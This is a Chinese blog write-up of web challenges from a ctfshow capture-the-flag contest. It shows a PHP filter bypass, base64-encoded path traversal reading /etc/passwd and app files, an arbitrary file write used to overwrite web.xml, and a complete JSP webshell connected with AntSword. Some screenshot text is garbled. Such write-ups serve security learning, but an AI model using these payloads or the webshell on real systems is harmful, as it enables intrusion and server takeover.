[ctfshow 2021摆烂杯] WEB部分 writeup



本文链接: <u>https://blog.csdn.net/weixin_46081055/article/details/122301591</u> 版权



81 篇文章 4 订阅 订阅专栏



46 篇文章 1 订阅 订阅专栏

[ctfshow 2021摆烂杯] WEB部分 writeup

web签到

一行代码

黑客网站

登陆不了

1.读一些敏感文件

2.利用web.xml写jsp□

官方的wp: https://qgieod1s9b.feishu.cn/docs/doccnC4EpMhSv1Ni6mbL7BQQdBc

web签到

	f t	f.show		×	ß	a7da900d-cc19-4efe-a552-76a7 🗧 🗙	+
\leftarrow	\rightarrow	С	G	▲ 不安全	a7d	a900d-cc19-4efe-a552-76a79b7a5	5cc.challenge.ctf.show

请输入三个整数A、B、C,使得:

$A^3 + B^3 + C^3 = 114$

A:	
B:	
C:	
Submit	

$(7)^{**3}+(7+7)^{**3}+(7)^{**3}=3430$

CSDN @shu天

请输入三个整数A、B、C,使得: A³+B³+C³=114,目前是无解的

a³+b³+c³=33,这个式子有整数解吗?如果有,a,b,c为何值?...

<u> </u>	
发布于 2015-11-30 22:14	
▲ 赞同 5 ▼ ● 添加评论 ▼ 分享 ★ 收藏 ♥ 喜欢	
See U See U	
2 人赞同了该回答	
已经解决了	
$33 = 8866128975287528^3 + (-8778405442862239)^3 + (-2736111468807040)^3$	
42也已经被解决,目前100以内已经全部解决,最小的一个还没有被解决的数是114。	
方程 x ³ +y ³ +z ³ =33 是否存在整数解? 4954 赞同·434 评论 回答	CSDN @shu天

直接输入字母会报hacker,直接输数字0也不可以,但是在ABC中还可以用 +-*/以及()进行计算(如果最后得到的不是正常的数 字,会报500 Internal Server Error),所以利用()进行闭合,就可以得到114

A:			
B:		 	
C :			
Subm	nit		

((8*6-5)-9)**3+(89)**3+(152)**3=4256081

A: 1 B: |-1 C: 113)+(1 Submit CSDN @shu天 A=1&B=-1&C=113)+(1 就可以啦 ₹ ctf.show +Arguine Arguine Ar Х \leftarrow C Ŵ 🛕 不安全 📔 a7da900d-cc19-4efe-a552-76a79b7a55cc.challenge.ctf.show ctfshow{78442213-8106-4a25-9c35-a44aaccc7695}

CSDN @shu天

一行代	码
-----	---

```
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-11-18 21:25:22
# @Last Modified by: h1xa
# @Last Modified time: 2021-11-18 22:14:12
# @email: h1x@ctfer.com
# @Link: https://ctfer.com
*/
echo !(!(include "flag.php")||(!error_reporting(0))||stripos($_6ET['filename'],'.')||($_6ET['id']!=0)||
(strlen($_6ET['content'])<=7)||(!eregi("ctfsho".substr($_6ET['content'],0,1), "ctfshow"))||substr($_6ET['content'],0,1)="w'||
(file_get_contents($_6ET['filename'],'r') !== "welcome2ctfshow"))?$flag:str_repeat(highlight_file(__FILE__), 0);
#—#代码, 需要满足以下条件</pre>
```

```
stripos($_GET['filename'],'.')===False
```

```
$_GET['id']=0
```

<?php

```
strlen($_GET['content'])>7
```

```
eregi("ctfsho".substr($_GET['content'],0,1),"ctfshow")
substr($_GET['content'],0,1)=='w'===False
//可以用通配符.或者*绕过
```

```
file_get_contents($_GET['filename'],'r') == "welcome2ctfshow"
```

payload

?filename=data://text/plain,welcome2ctfshow&id=0&content=.7959595959595959gdfgfd

| 4 | i) 6b4 | 592a4-24fa | 1-427b-8 | ae5-72701c1c | c1d9.challen | ge.ctf.show/?fil | ename=da | ıta://text/p | lain,welcor | me2ctfshov | w&content | =*79595959 | 595959gdfgf | ▼ C' | 8 |
|-----|-------------------|------------|----------|-----------------|--------------|---------------------|--------------|--------------|---------------|---------------|-------------|----------------|---------------|------|---|
| INT | ~ | = 🔹 SQL | BASICS+ | UNION BASED- | ERROR/DOU | BLE QUERY- TO | OLS+ WAF E | BYPASS+ E | NCODING≁ | HTML+ EN | CRYPTION- | OTHER+ XSS | S+ LFI+ | | |
| G | Lo <u>a</u> d URL | http://6b | 4592a4-2 | 4fa-427b-8ae5-7 | 72701c1cc1d9 | .challenge.ctf.shov | w/?filename= | =data://text | /plain,welcor | me2ctfshow | &content=*7 | 95959595959 | 59gdfgfd | | |
| 8 | <u>S</u> plit URL | | | | | | | | | | | | | | |
| ۲ | E <u>x</u> ecute | | | | | | | | | | | | | | |
| | | Post o | lata 🗌 | Referrer < 🕻 | DxHEX 🗩 | 🥌 %URL 🚬 | 🗕 🕳 ВА | ASE64 🗩 | Insert sti | ring to repla | Insert rep | placing string | 🗹 Replace All | > 2 | > |

ctfshow{8bf4b9e1-1ed9-4e05-bc26-f49de2499942}

CSDN @shu天

黑客网站

| - 1 | </th |
|-----|---|
| 2 | # -*- coding: utf-8 -*- |
| 3 | # @Author: hlxa |
| 1 | # @Date: 2021-12-10 01:04:56 |
| 5 | # @Last Modified by: hlxa |
| 5 | # @Last Modified time: 2021-12-10 01:10:53 |
| 7 | # @email: hlxa@ctfer.com |
| 3 | # @link: https://ctfer.com |
| | # @hint: flag不在这个服务器上,不用扫描,不用渗透 |
|) | -> |
| 1 | |
| 2 | <pre><!DOCTYPE html> </pre> |
| 3 | <pre> <html lang="en"></html></pre> |
| 1 | <pre></pre> |
| 5 | <meta charset="utf-8"/> |
| 5 | <title>CTFshow 摞栏杯</title> |
| 7 | k rel="stylesheet" href="./css/style.css"> |
| 3 | |
|) | <pre></pre> |
|) | <pre></pre> |
| 1 | <pre>/! partial:index.partial.html></pre> |
| 2 | <pre>/! partial:index.partial.html></pre> |
| 3 | <pre><pre> <pre>p id="text">tyro s4qw s3mm bubg jqje 46nc v35j aqjg eb3n qiuf 23ij oj4z wasx ohyd oniontyro s4qw s3mm bubg jqje 46nc v35j aqjg e</pre></pre></pre> |
| | oj4z wasx ohyd oniontyro s4qw s3mm bubg jqje 46nc v35j aqjg eb3n qiuf 23ij oj4z wasx ohyd oniontyro s4qw s3mm bubg jqje 46nc v35j |
| | qiuf 23ij oj4z wasx ohyd oniontyro s4qw s3mm bubg jqje 46nc v35j aqjg eb3n qiuf 23ij oj4z wasx ohyd oniontyro s4qw s3mm bubg jqje |
| | aqjg eb3n qiuf 23ij oj4z wasx ohyd oniontyro s4qw s3mm bubg jqje 46nc v35j aqjg eb3n qiuf 23ij oj4z wasx ohyd oniontyro s4qw s3mm |

(1- partial:index.partial.html --> (y id="text">text">text">text">text">text">text">text">text(y id="text">text(y id="text")(y id=text")(y id=te

登陆不了



漏洞居然是在验证码图片这里,我好傻

任意文件读取

/v/c?r=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

| GET /v/c?r= | 1 HTTP/1.1 200 OK |
|--|---|
| Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA== HTTP/1.1 | 2 Server: nginx/1.21.1 |
| 2 Host: | 3 Date: Tue, 04 Jan 2022 08:55:16 GMT |
| 929ed8d3-c32d-4068-88ed-3bf15748126d.challenge.ctf.show | 4 Content-Type: image/jpeg;charset=utf-8 |
| 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) | 5 Connection: close |
| AppleWebKit/537.36 (KHTML, like Gecko) | 6 Set-Cookie: ctfshow=A637C9B41E7E97482B9F5269F0FF9FC3; |
| Chrome/92.0.4515.107 Safari/537.36 | Path=/; HttpOnly |
| 4 Accept: | 7 Content-Length: 2097152 |
| <pre>image/avif, image/webp, image/apng, image/svg+xml, image/*, */*</pre> | 8 |
| ; q=0. 8 | 9 root:x:0:0:root:/root:/bin/bash |
| 5 Referer: | 10 bin:x:1:1:bin:/bin:/sbin/nologin |
| http://929ed8d3-c32d-4068-88ed-3bf15748126d.challenge.ctf. | 11 daemon:x:2:2:daemon:/sbin:/sbin/nologin |
| show/s/reg | 12 adm:x:3:4:adm:/var/adm:/sbin/nologin |
| 5 Accept-Encoding: gzip, deflate | 13 lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin |
| 7 Accept-Language: zh-CN, zh;q=0.9 | 14 sync:x:5:0:sync:/sbin:/bin/sync |
| 3 Cookie: ctfshow=C143EF2875AD3FDBCBA596D7EDD94F41 | 15 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown |
| <pre>? Connection: close</pre> | 16 halt:x:7:0:halt:/sbin:/sbin/halt |
|) | 17 mail:x:8:12:mail:/var/spool/mail:/sbin/nologin |
| 1 | 18 operator:x:11:0:operator:/root:/sbin/nologin |
| | 19 games:x:12:100:games:/usr/games:/sbin/nologin |
| | 20 ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin |
| | 21 nobodv:x:99:99:Nobodv:/:/sbin/nologincsdw@shute |

1.读一些敏感文件

../../WEB-INF/web.xml

| lequest | Response |
|---|--|
| Pretty Raw Hex \n = | Pretty Raw Hex Render \n |
| 1 GET /v/c?r=Li4vLi4vLi4vV0VCLUI0Ri93ZWIueG1s | 1 HTTP/1.1 200 OK |
| HTTP/1.1 | 2 Server: nginx/1.21.1 |
| 2 Host: | 3 Date: Mon, 24 Jan 2022 01:48:31 GMT |
| 41e513f2-9de6-40eb-aefe-ecfaf415aed8.challenge.c | 4 Content-Type: image/jpeg;charset=utf-8 |
| tf. show | 5 Connection: close |
| 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; | 6 Content-Length: 2097152 |
| x64) AppleWebKit/537.36 (KHTML, like Gecko) | 7 |
| Chrome/92.0.4515.107 | 8 xml version="1.0" encoding="UTF-8"? |
| 4 Accept: | 9 <web-app <="" td="" version="3.0"></web-app> |
| <pre>image/avif, image/webp, image/apng, image/svg+xml, i</pre> | 10 xmlns="http://java.sun.com/xml/ns/javaee" |
| mage/*, */*;q=0.8 | 11 |
| 5 Referer: | xmlns:xsi="http://www.w3.org/2001/XMLSchema-ins |
| http://41e513f2-9de6-40eb-aefe-ecfaf415aed8.chal | tance" |
| lenge.ctf.show/s/reg | 12 |
| 6 Accept-Encoding: gzip, deflate | xsi:schemaLocation="http://java.sun.com/xml/ns/ |
| 7 Accept-Language: zh-CN, zh;q=0.9 | javaee |
| 8 Cookie: ctfshow=427D46E24CA134EA476E78E8A5CCC675 | 13 |
| 9 Connection: close | http://java.sun.com/xml/ns/javaee/web-app_3_0.x |
| 0 | sd"> |
| 1 | 14 <display-name> </display-name>
CSDN @shu X |

```
<?xml version="1.0" encoding="UTF-8"?>
<web-app version="3.0"</pre>
    xmlns="http://java.sun.com/xml/ns/javaee"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
    http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">
  <display-name></display-name>
    <filter>
        <filter-name>routerFilter</filter-name>
        <filter-class>com.ctfshow.filter.impl.RouterFilterImpl</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>routerFilter</filter-name>
        <url-pattern>/404.html</url-pattern>
        <url-pattern>/*</url-pattern>
        <dispatcher>REQUEST</dispatcher>
    </filter-mapping>
    <error-page>
        <error-code>404</error-code>
        <location>/404.html</location>
    </error-page>
    <error-page>
        <error-code>500</error-code>
        <location>/404.html</location>
    </error-page>
    <session-config>
        <cookie-config>
            <name>ctfshow</name>
            <http-only>true</http-only>
        </cookie-config>
        <tracking-mode>COOKIE</tracking-mode>
    </session-config>
    <error-page>
        <error-code>400</error-code>
        <location>/404.html</location>
    </error-page>
</web-app>
```

.../.../WEB-INF/pom.xml

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.ctfshow</groupId> <artifactId>FlagShop</artifactId> <packaging>jar</packaging> <version>1.0-SNAPSHOT</version> <name>FlagShop</name> <url>http://maven.apache.org</url>

<dependencies>

```
<dependency>
    <groupId>ctfshow</groupId>
        <artifactId>tiny-framework</artifactId>
        <scope>system</scope>
        <version>1.1</version>
        <systemPath>${basedir}\lib\tiny-framework-1.0.1.jar</systemPath>
        </dependency>
</dependencies>
```

</project>

发现框架 \${basedir}\lib\tiny-framework-1.0.1.jar,进行读取

/v/c?r=Li4vLi4vLi4vV0VCLUlORi9saWIvdGlueS1mcmFtZXdvcmstMS4wLjEuamFy

注意下载下来的jar文件末尾有多余的0,清理至下图

63 6F 6D 2F 63 74 66 73 68 6F 77 2F 6D 6F 64 65 6C 2F 72 65 71 75 65 73 74 2F 52 65 71 75 65 73 con/ctfshow/model/request/Reques 74 2E 63 6C 61 73 73 50 4B 01 02 14 00 14 00 08 00 88 00 E8 36 94 53 AD A0 4D 82 3C 02 00 00 16 t. cl ass PK. 6. S. . M < . . . 2F 6D 6F 64 65 6C 2F 72 65 71 75 65 73 74 2F 47 45 54 2E 63 6C 61 73 73 50 4B 01 02 14 00 14 00 /model/request/ŒT.classPK..... 00 00 E1 63 00 00 63 6F 6D 2F 63 74 66 73 68 6F 77 2F 6D 6F 64 65 6C 2F 72 65 73 70 6F 6E 73 65 ... c.. com/ctfshow/model/response 2F 52 65 73 70 6F 6E 73 65 2E 63 6C 61 73 73 50 4B 01 02 14 00 14 00 08 00 08 00 06 86 93 53 11 /Response. cl assPK.....S. ...d.....h.....h.....h..... net adat aPK.....i. ← 6D 65 74 61 64 61 74 61 50 48 05 06 00 00 00 01 17 00 17 00 00 07 00 00 08 69 00 00 00 00

反编译并审计找到路由配置,再把这里的控制器/.../config/controller.properties读一下



/v/c?r=Li4vLi4vLi4vV0VCLUlORi9jb25maWcvY29udHJvbGxlci5wcm9wZXJ0aWVz

这个应该是index的控制器

s=com.ctfshow.controller.Index							
errorController=com.ctfshow.controller.ErrorPage							
index=com.ctfshow.controller.Index4							
v=com.ctfshow.controller.Validate							

下载index的控制器classes/com/ctfshow/controller/Index.class

/WEB-INF/classes/: 含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中

/v/c?r=Li4vLi4vLi4vV0VCLU10Ri9jbGFzc2VzL2NvbS9jdGZzaG93L2NvbnRyb2xsZXIvSW5kZXguY2xhc3M=

```
🚮 Index. class 🖾
  import com.ctfshow.controller.Index;
    import com.ctfshow.controller.base.BaseController:
    import com.ctfshow.util.FileUtil:
    import java.util.regex.Pattern;
  e public class Index extends BaseController {
      public void doIndex() {
15
        String tempPath = String.valueOf(this.request.server().path()) + "../../index.html";
16
        print(FileUtil.readFileByString(tempPath));
      3
      public void doReg() {
  e
21
        String username = '
        String password = "";
22
24 😑
        if (post("username") == null) {
          print(FileUtil.readFileByString(String.valueOf(this.request.server().path()) + "../../reg.html"));
25
          return;
29
        if (post("username") != null && !post("username").equals("") && post("username")[0] != null)
30
          username = post("username")[0];
33
        if (post("password") != null && !post("password").equals("") && post("password")[0] != null)
34
          password = post("password")[0];
        String pattern = "^[a-z\\.A-Z0-9]+";
37
        if (!Pattern.matches(pattern, username)) {
    print("<script>alert('用户名不合法')</script>");
38 🖨
39
          return;
43
        FileUtil.writeFile(String.valueOf(this.request.server().path()) + "../" + username, password);
44
        print("<script>alert('注册成功');window.location.href='/s/login'</script>");
      public void doLogin() {
  e
48
        String username = '
        String password = "";
49
51 😑
        if (post("username") == null) {
52
          print(FileUtil.readFileByString(String.valueOf(this.request.server().path()) + "../../login.html"));
          return;
        1
57
        if (post("username") != null && !post("username").equals("") && post("username")[0] != null)
          username = post("username")[0];
58
61
        if (post("password") != null && !post("password").equals("") && post("password")[0] != null)
          password = post("password")[0];
62
65
        String pattern = "^[a-z\\.A-Z0-9]+";
66 😑
        if (!Pattern.matches(pattern, username)) {
          print("<script>alert('用户名不合法')</script>");
67
          return:
                                                                                                                          CSDN @shu天
        }
```

反编译发现有任意文件写入的漏洞

```
FileUtil.writeFile(String.valueOf(this.request.server().path()) + "../" + username, password);
```

由于文件名限制为 字母数字和.,所以并不能跨目录写文件,只能写到classes目录下

2.利用web.xml写jsp□

利用tomcat的热加载机制,重写web.xml,再写个对应的jsp马,写反弹shell即可

```
<web-app version="3.0"</pre>
       xmlns="http://java.sun.com/xml/ns/javaee"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
       http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">
 <display-name></display-name>
   <filter>
        <filter-name>routerFilter</filter-name>
       <filter-class>com.ctfshow.filter.impl.RouterFilterImpl</filter-class>
   </filter>
   <filter-mapping>
       <filter-name>routerFilter</filter-name>
       <url-pattern>/404.html</url-pattern>
       <url-pattern>/s/*</url-pattern>
       <dispatcher>REQUEST</dispatcher>
   </filter-mapping>
<servlet>
<servlet-name>ctfshow</servlet-name> //新增一个servlet来映射到WEB-INF下的jsp文件
<jsp-file>/WEB-INF/1.jsp</jsp-file> //路径ctfshow访问当前目录下的1.jsp
</servlet>
<servlet-mapping>
<servlet-name>ctfshow</servlet-name>
<url-pattern>/ctfshow</url-pattern>
</servlet-mapping> </web-app>
```

username=web.xml&password=<?xml version="1.0" encoding="UTF-8"?>

```
然后上传一个jsp木马(密码passwd)
```

```
<%!
    class U extends ClassLoader {
       U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>
```

LOAD	SPLIT	EXECUTE	TEST 🝷	SQLI -	XSS -	LFI 🝷	SSTI 🝷	ENCODING	- HASH	HING -
^{URL} http://68fa	a083-22bc-	45d1-ada0-e3	a758a097ac	.challenge.ct	tf.show/s/re	g				
Enal	ole POST	enctype applicatio	on/x-www-for	m-urlencode	d		•	ADD H	IEADER	
Body username=	-1.jsp&pass	sword=%3C%2	25!%0A%20%	20%20%20cl	ass%20U%2	0extends%2	20ClassLoade	er		
%20%7B%0	A%20%20	%20%20%20%	20%20%20U	ClassLoade	r%20c)%20%	7B%0A%20	%20%20%20%	%		
20%20%20	%20%20%2	20%20%20sup	er(c)%3B%0A	\$\$20%20%20	0%20%20%2	0%20%20%	7D%0A%20%2	2		
0%20%20%	520%20%20)%20public%2	0Class%20g(byte%5B%5[0%20b)%20%	%7B%0A%20	0%20%20%20			
%20%20%2	20%20%20%	%20%20%20re	turn%20supe	r.defineClas	s(b%2C%200)%2C%20b.l	ength)%3B%()		
A%20%20%	620%20%20	0%20%20%20	%7D%0A%20	%20%20%20	%7D%0A%20	0%0A%20%2	20%20%20pu	b		
lic%20byte	%5B%5D%2	20base64Dec	ode(String%2	0str)%20thro	ws%20Exce	ption%20%7	7B%0A%20%2	2		
0%20%20%	520%20%20)%20try%20%	7B%0A%20%2	20%20%20%2	20%20%20%	20%20%20%	%20%20Class	3		
%20clazz%	20%3D%20	Class.forNam	ne(%22sun.m	isc.BASF64[Decoder%22	%3B%0A%2	20%20%20%2	0		CSDN @shu天

\leftarrow	\rightarrow	С	Ŵ	🛕 不安全 view-source:68faa083-22bc-45d1-ada0-e3a758a097ac.challenge.ctf.show/ctfshow	
與行 □)				
1 2					
				CSL	JN @Snu大

蚁剑连接,得到flag

AntSword 编辑 窗口 调试	
•	□ 101.34.230.193 ⊗
■ 编辑: /ctfshowflag	
/ctfshowflag	
1	ctfshow{25130730-ac85-4b59-955a-45b4e07b5d33}
2	

